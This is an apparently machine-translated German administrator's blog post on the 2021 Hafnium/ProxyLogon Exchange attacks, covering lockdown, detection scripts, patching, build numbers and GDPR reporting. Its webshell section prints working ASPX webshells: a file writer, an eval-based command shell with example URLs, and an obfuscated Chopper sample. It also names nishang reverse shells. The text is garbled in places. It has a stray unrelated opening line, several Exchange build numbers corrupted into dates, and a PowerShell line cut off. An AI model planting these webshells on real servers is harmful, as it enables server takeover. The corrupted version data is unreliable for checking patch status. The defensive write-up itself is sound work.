Explain the OLX backend very briefly

Hafnium exploit

On March 2, 2021, Microsoft reported several exploits in Exchange that are allegedly being actively exploited by a group called "Hafnium".

Attention: April 2021 updates replace the Hafnium updates. See Pwn2Own 2021

Hafnium follow-up - What we should learn, review and improve from hafnium.

With the Exchange 2016 CU20 and Exchange 2019 CU9, a current version including security update and other bug fixes has been available since March 16, 2021.
Updates for Exchange 2019 and updates for Exchange 2016

Due to current events, we are offering another Net at Work Hafnium office hours in the form of a public team meeting
Further dates will be published on https://www.netatwork.de/selbst-gehostete-exchange-server-zero-day-angriff/.

Missed office hours? I have spoken the information from March 10th, 2021 for you
https://youtu.be/dmH5-lVCjwk

The set of transparencies used for this
hafnium-prechstunde.20210310.pdf (used at the Net at Work office hours)
hafnium-sprechstunde.20210318.pdf (used (corrected) at the MBUF meeting https://mbuf.de/)

Is it really bad? - YES!

If your Exchange Server can be reached from the Internet via HTTP / HTTPS, then it is the combination of four CVEs that are your problem:

Even reading or exporting any email is a serious problem for many companies, as it can be used to export company secrets and extortion ensues. Much more critical is the complete takeover of the server via a webshell, which the attacker can install himself and which can be triggered externally further actions. The attacker probably has the "LocalSystem" and "ExchangeTrustedSubsystem" authorizations. Even if the authorizations of Exchange and a computer are not yet a "Domain Admin", the damage potential is very high. The webshell is a stepping stone into your LAN with privileged rights, dump from LSASS or use of Mimikatz.

From my point of view, danger is imminent and you should bring your server to the current CU immediately and install the updates. If you cannot do this, you should immediately provide accessibility from the Internet with pre-authentication and prevent anonymous access. However, this breaks registrations via OAUTH, e.g. Exchange Hybrid Free / Busy and is no protection that an authenticated user then exploits the loopholes or there are further loopholes.

Shortly afterwards, there was already a sample for the security update from the previous month.

For the current problems, I have the impression that different groups already have a code, because I see more and more different payloads that have nothing to do with the first attack. There are probably enough possible victims. In the meantime, there is probably a race taking place to determine which website will estimate the higher number of servers.

All Exchange servers that can be accessed via HTTP and are not currently patched are vulnerable:

In the meantime, the usual government agencies have also issued corresponding warnings:

Microsoft Exchange Vulnerabilities CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 Detection and Response
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf?__blob=publicationFile&v=3

BSI: Several vulnerabilities in MS Exchange
https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnern/DE/2021/2021-197772-1132.pdf?__blob=publicationFile&v=4

Update: MS Exchange vulnerabilities - information and help | BSI
https://www.youtube.com/watch?v=QcqRRc-VoB0

What should I do?

In the first few days of the site I first described the "update". I have now changed this order. we are many days ahead and the number of infected Exchange servers is likely to continue to rise, as many administrators and service providers are unfortunately still not actively addressing the problem. Today I assume that a server has been compromised and if the attacker has used the right tools, then not only this one server is affected but also other systems or their Active Directory can no longer be viewed as "trustworthy". My suggestion.

  1. Lockdown
    Prevent the Exchange Server from being accessible from the Internet or from being able to establish connections to the Internet. But also back up logs before they are deleted or overwritten. Also isolate the server from internal systems. Malware tries to compromise your other servers as well. In the simplest case, you have the local administrator and separate Exchange from the network. If necessary, you should also remove other servers from the network until you have backed up and evaluated your Exchange server.
  2. analysis
    Check your existing logs to see if there has been a break-in. The use of the vulnerability can be recognized by entries in the IISLog if the attackers do not change the logs. The installed programs and back doors are often, but not always, found by up-to-date virus scanners. Depending on the outcome, you may have to make an uncomfortable decision.
  3. Adjustment, patching if necessary. Rebuilding
    Remove the installed back doors and prevent a new infection by installing the updates. It is possible that the update cannot be installed. Various attackers change e.g. NTFS permissions to block the installation of the updates so that a less experienced admin does not notice it or gives up in exasperation.
  4. Further analysis
    Especially if you continue to use the existing environment, you have to be vigilant and learn as much as possible.

The sections in detail:

Server lockdown

The gateway is the Exchange web services and as the very first protective measure Microsoft has described URL rewrite rules with which access can be blocked.

Implement an IIS Re-Write Rule and disable Unified Messaging (UM), Exchange Control Panel (ECP) VDir, and Offline Address Book (OAB) VDir Services
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/

I would only use this "fix" if you really cannot install the security batch. Microsoft does not list "ActiveSync", but a BSI announcement of 6.3 also lists ActiveSync "and other services".

First, prevent the Exchange Server from being accessible from the Internet via HTTP.
Also block outgoing connections from the Exchange Server as long as you do not know the status of your server
Save logs (event log, IISLog, CASLog, firewall, etc. against deletion / overwrite) until the analysis is complete. The analysis can take longer depending on the number of servers and the size of the log files.

actionCheck

Block incoming HTTP traffic

You can prevent access to port 443 of your Exchange server on the external firewall. If you use a reverse proxy or load balancer, you can do this there too

Block outgoing traffic

The attackers use remote shells to establish a connection to the outside world and interactively execute commands or reload malware via a shell. Your Exchange Server should also no longer be allowed to "surf" (HTTP proxy), even if that makes further troubleshooting more difficult. In this way, they also prevent "viewers" and prevent someone from recording their entries on the server or from DUMPing the process.

Isolate your Exchange Server

If you suspect that the server has been compromised, you should stop the Exchange services and isolate the server. If necessary, a DENY rule on the Windows firewall can also do this

Check for break-in!

The vulnerability has been around for a long time and was first reported by DEVCORE (https://proxylogon.com/) in December and discovered on January 6 by the Volexity company at a customer's premises as part of the monitoring (intrusion detection) of network traffic. How long the attackers have known about the vulnerability is not known. The attackers will probably only have attacked interesting and worthwhile targets by the time they are discovered. It was only in February that the number of infections increased and with the publication of the vulnerability and the corresponding updates on March 2, 2021, there will be fewer and fewer vulnerable installations. So the attackers are allowed to use their tools against the crowd.

actionCheck

MSERT.EXE

This tool uses the latest Defender Pattern files to remove known malware. It is not 100% protection, as other attackers are now using adapted malware. Hopefully your Exchange Server will not be able to surf the web, so you have to download the file on another client and transfer it to the server. Always use the latest version.

Microsoft Safety Scanner (MSERT.EXE)
https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download

Danger:
MSERT only finds what it recognizes. A negative result can therefore not be understood as a license. Especially since the harmful components have become more diverse.

Test-ProxyLogon.ps1

This script contains previously distributed tools for analyzing your server as individual scripts. It searches your IIS logs, event logs and directories for traces of the Hafnium group. Here, too, you should always use the latest version.

Test-ProxyLogon.ps1 (Formerly known as Test-Hafnium, this script automates all four of the commands)
https://github.com/microsoft/CSS-Exchange/tree/main/Security
https://github.com/microsoft/CSS-Exchange/releases/latest/download/Test-ProxyLogon.ps1

It reliably finds the first attacks via "CVE-2021-26855", which reliably indicate a break-in.

How to run the GitHub script for the Hafnium vulnerability
https://www.youtube.com/watch?v=wwJlfhRCwAc

However, it also finds false positives, e.g. ZIP files from Symantec, McAfee, and others in ProgramData. Here you have to take a closer look.

Warning: These scripts check your HTTP logs. If you delete these files automatically, then the script cannot find them. You should search the logs as of March 2nd on the first run. But a search since Nov 2020 is advisable.

EOMT - Exchange On-premises Mitigation Tool

This, too, is primarily a PowerShell script, which prevents the exploited attack vector via URL rewrite, but is not a substitute for the update. He also performs various tests and scans and reverses changes in attacks.

The tool can only detect malware that Microsoft has deposited. That was very helpful in the first week of the attacks, but now the payload is very variable and from my point of view EOMT is only a first component of an analysis.

Download
https://aka.ms/eomt

 

3rd party virus scanner

As a rule, they do not prevent a break-in, but they can detect many "unwanted programs" deposited by the attacker. Check the log of these scanners on all servers and check the exclusion lists so that "almost" everything is scanned.

The reputation of the virus scanner has also suffered a lot, since the often promised "behavior detection" does not recognize write access to web server directories and a WebShell from 2012 was not prevented by any pattern file. What actually happens if the airbag does not deploy in a car accident with regard to product liability?

You can then use the result to make your decision. If, fortunately, your server has not yet been infected, then you should patch it immediately and be happy to have gotten away with it.

But if there are "hits", then it is most likely that an unknown institution or person has moved on your server, uploaded files and issued commands via webshell. That probably won't have been a curious visitor who went back alone. It may even still be active if you haven't blocked access well enough.

Allegedly, the BSI scans for such servers and speaks to the providers about the IP addresses so that they can address the customer. So if I know the domain name of an Exchange server, then the identification of the "customer" including communication should be possible quickly. It would probably be a criminal offense to shut down the server remotely "for security" via webshell.

Security scripts
https://github.com/microsoft/CSS-Exchange/tree/main/Security
More scripts

Microsoft has also built corresponding detections into the product "Microsoft Defender for Endpoint". If you have equipped your Exchange Server with this AV scanner, then it should also detect and prevent infections, at least as long as the attackers do not change their methods. So this is not necessarily certain. Other 3rd party AV scanners are sure to find such files soon.

Obviously, these "protection" products are in a bad light if, in 2021, not a single manufacturer detects malware in the form of a webshell that was already used in attacks in 2012.

Patching

If we now assume that they are either not yet affected or that their analysis and risk assessment mean that their network and Active Directory will continue to operate as a "tolerable residual risk", then the next step is to install the updates.

Regardless of whether you are already affected or not: Nobody should interfere with the update. Therefore: prevent access, exit IIS.

Whenever possible, you should use the business interruption directly to update the server. There are only a few exceptions where this is not possible, e.g. if your forest functional level could not be increased. You should also receive the security update "KB5000978" via "Windows Update". Your WSUS administrator may have to approve the update first. If the server cannot access the Internet, you can also download the updates on your own.

actionCheck

Versioning

Check the current version of your Exchange server. Decide whether you want to secure the current CU with the security patch or whether you update the CU first. You no longer have to install the latest CU beforehand, as corresponding updates are also available for some older CUs. However, if you later install a newer CU that has already been released, you will have to install the appropriate security updates.

However, a CU update takes longer and can have further dependencies (.NET Framework, AD-ForestMode, etc.) that delay the process.

Download the appropriate update

You can find the links in the following article.

KB articles with direct links to all updates
https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871- 9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b

Reboot before update

Microsoft strongly recommends a reboot before installation. It is quite possible that files are still blocked even after Exchange services have been terminated and the update therefore fails.

Installation of the security update

The security update only patches the holes but no other components. It is therefore ready relatively quickly. The duration of the installation depends on the performance of your server. During this time, the server cannot be reached by the user because the services are stopped at the beginning and only restarted at the end. If you have a cluster (DAG), you can take the nodes offline, one after the other.

If the Exchange Server first has to be brought up to the current CU / RU status, then you should consider the dependencies on the NET Framework. However, you can go straight to the latest version if you observe a few preconditions.

Note with UAC:
Always start the update from an administrative CMD shell so that the update can stop the services. Otherwise the installation will fail!

Danger:
There are only rumors that attackers switch off the inheritance on the OWA \ AUTH directory so that the CU update cancels with error 1603.
https://docs.microsoft.com/en-us/answers/questions/304724/exchange-2019-cu8-upgrade-failed-insufficient-priv.html
https://docs.microsoft.com/en-us/answers/questions/307762/cu-update-install-failing-with-error-1603.html#answer-313033
Then check the directory "C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ FrontEnd \ HttpProxy \ owa \ auth \ 15.0.1497". Usually this is "Administrators: Full, SYSTEM: Full" and inheritance is active.

Restart the server

The security update does not always actively request a restart. But it is necessary.

After that, your server should be "protected". If you have also blocked the external connection, the attacker should no longer have any access.

Control of the installation

Unfortunately, you cannot simply use PowerShell to determine whether the patch is installed or not. For me, the following line still delivers 2176.2 instead of 2176.9.

Note also determine the Exchange Build Number

# This query does not provide detailed information [PS] C: \> Get-ExchangeServer | Format-List Name, Edition, AdminDisplayVersion Name: EX16 Edition: Standard AdminDisplayVersion: Version 15.1 (Build 2176.2)

I get the same answer for a "trial" via Invoke web request (PowerShell 7.1 required for the "-Skip" parameters):

$ owalogin = (Invoke-WebRequest https://owa.netatwork.de/owa/auth/logon.aspx -SkipHttpErrorCheck -SkipCertificateCheck) $ owalogin.Content.Substring ($ owalogin.Content.IndexOf ('Even checking the SMTP header of a mail does not provide any information.

Received: from hybrid.msxfaq.de (192.168.80.3) by hybrid.msxfaq.de (192.168.80.3) with Microsoft SMTP Server (version = TLS1_2, cipher = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2; Sun, 07 Mar 2021 22:29:42 +0100 Received: from EUR05-DB8-obe.outbound.protection.outlook.com (104.47.17.110) by hybrid.msxfaq.de (192.168.80.3) with Microsoft SMTP Server (version = TLS1_2, cipher = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2 via frontend transport; Sun, 07 Mar 2021 22:29:42 +0100

The transport was not updated by the updates, so that your server now has different build numbers. I only see the main version, which only allows conclusions to be drawn about the installed CU.

Nevertheless, a simple test to identify "too old" CUs and is sure to be checked externally.

Only a look at the OWA structure or under "Control Panel - Programs - Updates" shows the newer installation:

The version 15.1.2176.4 is CU19, 15.1.2176.4 is the security update KB4602269 from Feb 2021 and only 15.1.2176.9 is the important update. You can see that I installed the update on 3.3 immediately. The following build numbers describe the version with the patch installed:

The complete installations Exchange 2019 CU9 and Exchange 2016 CU20 published on March 16 contain the security update. All previous versions need to be updated.

Exchange2019201620132010 SP3
Current

CU9: 15.2.858.5

CU20: 15.1.2242.4

 

 

N-0

CU8: 15.2.792.10

CU19: 15.1.2176.9

CU23: 15.0.1497.12

RU32: 14.3.513.0

N-1

CU7: 15.2.721.13

CU18: 15.1.2106.13

CU22: 15.0.1473.6

 

N-2

CU6: 15.2.659.12

CU17: 15.1.2044.13

CU21: 15.0.1395.12

 

N-3

CU5: 15.2.595.8

CU16: January 15, 1979.8

 

 

N-3

CU4: 15.2.529.13

CU15: January 15, 1913.12

 

 

N-4

CU3: 15.2.464.15

CU14: 1/15/1847/12

 

 

N-5

CU2: 15.2.397.11

CU13: 15.1.1779.8

 

 

N-6

CU1: 15.2.330.11

CU12: 15.1.1713.10

 

 

N-6

RTM: 15.2.221.18

CU11: 15.1.1591.18

 

 

N-7

 

CU10: 15.1.1531.12

 

 

N-8

 

CU09: 15.1.1466.16

 

 

N-9

 

CU08: 15.1.1415.10

 

 

Microsoft would not release any updates for these very old CU versions if there were not customers with this base. From my point of view, it is very frightening that no updates and bug fixes have been installed for years.

It is better to double-check that the update is installed. I already had customer servers on which CU19 was on and on March 3rd, "only" the security update Feb 2021 (KB4602269) was installed.


Misleading edition. Latest version on 3.3. wasn't the correct updates. So look carefully

Unfortunately I can only query Windows operating system updates using "Get-Hotfix" and not Exchange updates. Alternatively, a look at the "C: \ ExchangeSetupLogs \ UpdateCas.log" file can show the latest status:

[02:43:17] ******************************************* **** [02:43:18] * UpdateCas.ps1: 03.03.2021 02:43:18 [02:43:24] Updating OWA / ECP on server EX16 [02:43:24] Finding ClientAccess role install path on the filesystem [02:43:25] FixUnversionedFolderAfterUpgrade: Found source versions: 15.1.2176.2 15.1.2176.4 [02:43:25] FixUnversionedFolderAfterUpgrade: Recovering files from 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ Owa \ prem \ 15.1.2176.2 'to' C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ Owa \ Current2 \ version 'where necessary [02:43:57] FixUnversionedFolderAfterUpgrade success [02:43:57] Updating owin: AutomaticAppStartup binding redirect to true [02:43:57] Updating owa handlers [02:43:57] Web.config file already had a node for: userbootsettings.ashx [02:43:57] Web.config file already had a node for: MeetingPollHandler.ashx [02:43:58] Updating Microsoft.Owin binding redirect [02:43:58] Updating Microsoft.Owin.Security bi nding redirect [02:43:58] Trying to add clients common module to Web.config file [02:43:58] Updating OWA to version 15.1.2176.9 [02:43:58] Copying files from 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ owa \ Current 'to' C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ owa \ 15.1.2176.9 '[02:43:58] Update OWA done. [02:43:58] Updating OWA to version 15.1.2176.9 [02:43:58] Copying files from 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ owa \ Current2 \ version' to 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ owa \ prem \ 15.1.2176.9 '[22:45:27] Update OWA done. [22:45:28] Updating ECP to version 15.1.2176.9 [22:45:28] Copying files from 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ ecp \ Current' to 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ ClientAccess \ ecp \ 15.1.2176.9 '[22:45:30] Update ECP done.

Unfortunately, Microsoft does not "remove" the previous versions of OWA when installing an update, as there may still be "backend servers" with older versions. But that's not a problem if all servers are up to date.

Danger:
Even after installing the updates, your servers are protected, but malicious code could still be active. A new scan with MSERT and others is important and you should repeat this. But this brings us in the direction of "safe operation"

If you are working on the server anyway, you can run the HealthChecker again_

https://github.com/dpaulson45/HealthChecker/releases

What to do if a break-in is detected?

Imagine you have a PowerShell on a server with "LocalSystem" and "ExchangeTrustedSubsystem" in a foreign network and you have criminal energy. What could they do? Quite a lot and on quite a few servers.

It is not enough to patch the server and remove recognized webshells. You don't know exactly what else the attacker did.

  • Which commands were executed via webshell?
    You can perhaps find this as a parameter in the IISLog. Exchange commandlets are logged in the Exchange Management event log.
  • RemoteShell
    But if the attacker could also start a RemoteShell, which was also able to establish an outgoing connection, then it would be difficult. You may find information on unusual outgoing TCP connections from the Exchange server on the firewall. The shell can also use HTTPS or UDP.
  • Access to other servers
    PowerShell and tools already available on servers (WMIC.EXE etc.) are not limited to local servers. Every other system on your LAN is potentially affected. How good was the password on your firewall, on your NAS?
  • Exchange Server
    You don't have to go far. If the attacker has changed your Exchange configuration in order to continue to have access after the security update, then only searching will help. He could have diverted a dump from LSASS and thus gain further credentials. Even a keylogger as a driver or a proxy server that installs its own root certificate to break SSL is conceivable or a "planned task" that will strike sometime in the future.
  • Active Directory
    Which objects have recently been created, which group memberships have been changed or authorizations extended that you cannot explain?
  • Logging
    In any case, you should increase the logging of your systems and not just listen more closely in the near future. But you should have been doing this for a long time.

Without reviewing the logs that are hopefully available, no statements can be made and even then there is always a residual risk.

Actually, the entire system has to be regarded as compromised. There can be no general recommendation, because you do not know how deep the attack was and what "legacies" can be found in your system.

The later she patches her system, the more likely it is. to have. I don't want to stir up panic, but such attacks are automated and script-controlled. It is therefore likely that all affected systems went through actions similar to those presented in the following video.

Analysis - Post-Exploitation from Microsoft Exchange HAFNIUM
https://www.youtube.com/watch?v=rn-6t7OygGk
Analysis of an Exchange server and what the attackers could have done via WebShell.

So there remains a residual risk whether you simply repair the existing installation and continue to operate it or whether you actually start a complete rebuilding of your forest (greenfield). For the second step, however, you need a lot of hands and very good arguments to the company owner regarding the costs. Continuing to operate the perhaps healed area is associated with additional costs. First I would change all passwords and do a KRBTGT key rollover. In addition, they should significantly increase security, monitor virus scanners on every server without exception and firewalls, processes, network traffic, etc. in order to detect possible internal malware.

Nobody can give you a carte blanche to ensure that your entire system can continue to be operated safely after a "cleanup" with MSERT. But nobody could do that before either. Security is not a state but a process.

For some companies, such an infection will also be a wake-up call to grant more precise permissions, reduce the role of domain administrators to necessary actions, set firewalls "stricter", install security patches more quickly and generally expand the topic of logging. Whereby this again means discussions with works councils and data protectionists. Because each log can also be used for purposes other than intended.

Please also refer to the Hafnium postprocessing page

GDPR incident / criminal complaint / cyber insurance

But there is another aspect: Assume that your company was a target, then emails, contacts and appointments from users could also be diverted and now be in the possession of the attacker.

Risk \ dutiesexampleInternet documentation required
Art 33 para 5 DS-DVO
Obligation to report to the supervisory authority
Art 33 para 1 DS-DVO
Notification obligation to persons
Art 34 para 1 DS-DVO

No or little risk

OAB access

Yes!

No

No

risk

Export of mailboxes, export of large amounts of data

Yes!

Yes!

No

High risk

Data also contain customer data, password

Yes!

Yes!

Yes!

IT service providers and contract data processors may have to deal with their customers. fulfill further information obligations. From the "Bavarian State Office for Data Protection Supervision" there is at least a handout from March 9, 2021

For companies that have remained inactive up to now (March 9, 2021, Frank Carius), we assume a reportable data protection breach.

Those responsible who have not yet fulfilled this task are ... regardless of further findings, the obligation to report the security breach as a security breach within 72 hours.

In a first test run on March 8th, 2021, the BayLDA randomly examined 16,502 Bavarian systems for their possible vulnerability
... in the first test run a three-digit number of potentially vulnerable servers was identified ...
... The BayLDA intends to carry out further test runs after the company has been informed ...

Source: Bavarian State Office for Data Protection Supervision: Security gaps in Microsoft Exchange mail servers: An urgent need for action for Bavarian companies - BayLDA recommends: Patch, check, report! -
https://www.lda.bayern.de/media/pm/pm2021_01.pdf

You may of course be lucky that you are not affected or that the burglars have not taken anything away. But if you don't know for sure and the perpetrators ask for a few Bitcoins in a week's time, then the reporting period of 72 hours is long over.

As an administrator, you should also involve lawyers and management immediately. Many companies now also have "cyber insurance", but this often only takes effect if you also file a criminal complaint with the police. Here you have to involve the insurance company.

But then it can happen that the "cleanup" of the server means a change in the "crime scene", which may not have been released at all. Many pitfalls lurk here.

Anyone who has an affected server and has not yet submitted a report could be fined, depending on the country.

Webshell and RemoteShell

On this page I have mentioned the term "Webshell" several times without describing the basic function. Web servers not only deliver static files, but can also "calculate" pages at the moment they are accessed. Any PHP page is a good example of this. On an Exchange server, the IIS takes over this function and ASP or newer ASPX are corresponding files. The transfer of parameters usually takes place as part of the URL. I have to save a file in the following form on your web server or add this function to an existing file:

<script runat="server"> protected void Page_Load(object sender, Eventargs e) { System.io.streamwriter sw = new System.io.streamwriter(Request.Form["fname",false, Encoding.Default); sw.write(Request.Form["fdata"]); sw.close(); } </script>

I can then simply call up this page remotely using a browser to write a file "filename" with the content "file content":

https://server.msxfaq.de/aspxuploader.aspx?fname=.\filename&fdata=Dateiinhalt

But it is more interesting to start any program with privileged rights. This is even faster if you have smuggled the code into a website through an exploit.

<script Language="JScript" runat="server" Debug=true> eval (Request["feldname"],"unsafe"); </script>

In that case I have to pass the command to be executed as "field name".

https://server.msxfaq.de/aspxshell.aspx?feldname=cmd / c dir

As you can see, the code is very easy to change. If the ASPX side is a bit more complex, then I can incorporate more commands directly into the ASPX side, which I only have to control. In this way, the attacker can also "transfer" and execute complete PowerShell scripts, download additional tools and then continue executing them. However, malware will certainly not store the ASPX page in a "readable" way, but rather "hide" it. There are many options, starting with changed variable names, divided strings and parameters, which are only then put together again, e.g.

Source https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html <% @ Page Language = "Jscript" Debug = true%> <% var a = System.Text.Encoding.GetEncoding (65001) .GetString (System.Convert.FromBase64String ("UmVxdWVzdC5Gb3JtWyJjb21tYW5kIl0 =")); var b = System.Text.Encoding.GetEncoding (65001) .GetString (System.Convert.FromBase64String ("dW5zYWZl")); var c = eval (a, b); eval (c, b); %>

The spellings can be varied endlessly, so that pattern-based scans usually no longer discover these files.

But that's just the beginning. It becomes interesting when I execute a script on the server instead of the ASPX file, which connects to my own server and waits for input. This is also available as ready-made modules, e.g. as nishang (https://github.com/samratashok/nishang/tree/master/Shells) and other tools including instructions on how these "InMemory" scripts can be executed and thus a normal "file-based" "Virus scanners remain hidden.

As an attacker, I only have to provide a computer with an IP address that is accessible by the target system and wait for incoming connections. The remote shell starts and connects to the attacker's console via TCP, HTTP, WMI, UDP and other protocols.

WebShells are ideal for executing remote code when I can reach the server e.g. via HTTP and no URL content is checked. If the server can also communicate outbound, the attacker will very quickly switch to a remote shell, because you will then no longer see the requests in the IISLog and the web server's timeout will not prevent you.

Keep systems secure

You cannot generally prevent software errors in a product and will always occur in the future. But between finding a mistake and then using it to take another action lie several stations. Often the same techniques are used for malicious code that we already know from other processes. In particular, JavaScript for a WebShell or similar are often recycled and Microsoft has published several "indicators" for it:

Script / Exmann.A! Dha Behavior: Win32 / Exmann.A Backdoor: ASP / SecChecker.A Backdoor: JS / Webshell (not unique) Trojan: JS / Chopper! Dha (not unique) Behavior: Win32 / DumpLsass.A! Attk (not unique) Backdoor: HTML / TwoFaceVar.B (not unique)

So there are scripts, but also executable code or a "behavior". For example, if a process dumps the process "LSASS" in order to find the passwords for other accounts, then this is a very unusual process. "Better" virus scanners not only monitor access to files for viruses and other malicious code, they also monitor the behavior of processes and where they write and read. In this respect, it is not surprising that Defender and Sentinel have now received such detection.

  • Network firewall
    Why does an Exchange server have to be able to reach any server via any port? He doesn't even have to be able to surf "everywhere". Strict "network firewall" rules and proxy settings are important protective measures, even if it means more maintenance work. But if a WebShell "calls home" it should be noticed.
  • Code signature
    Why can an unauthorized process put executable files somewhere if it's not the Administrator or Windows Updates? Wouldn't it be possible to prescribe "code signature" on servers, even if the administrators would then also have to sign their Powershell scripts.

Of course, it remains a game of rabbits and hedgehogs, but when such an attack becomes known and the AV manufacturers can limit the damage, a lot has been gained. Such products could also recognize when new unknown processes are started or executable files appear in directories that are actually "static" and are only described in the case of planned updates or service packs. However, I'm realistic enough that you don't want to work with AppLocker on the server. But logging "file changes" in externally accessible paths or critical configuration settings would be a helpful product.

Of course, you can also start to record the network transmissions, IIS logs, etc. and use them to "profile" your servers and clients. Larger deviations are then at least a hint to look more closely there. However, there is never 100% protection and it is in constant competition.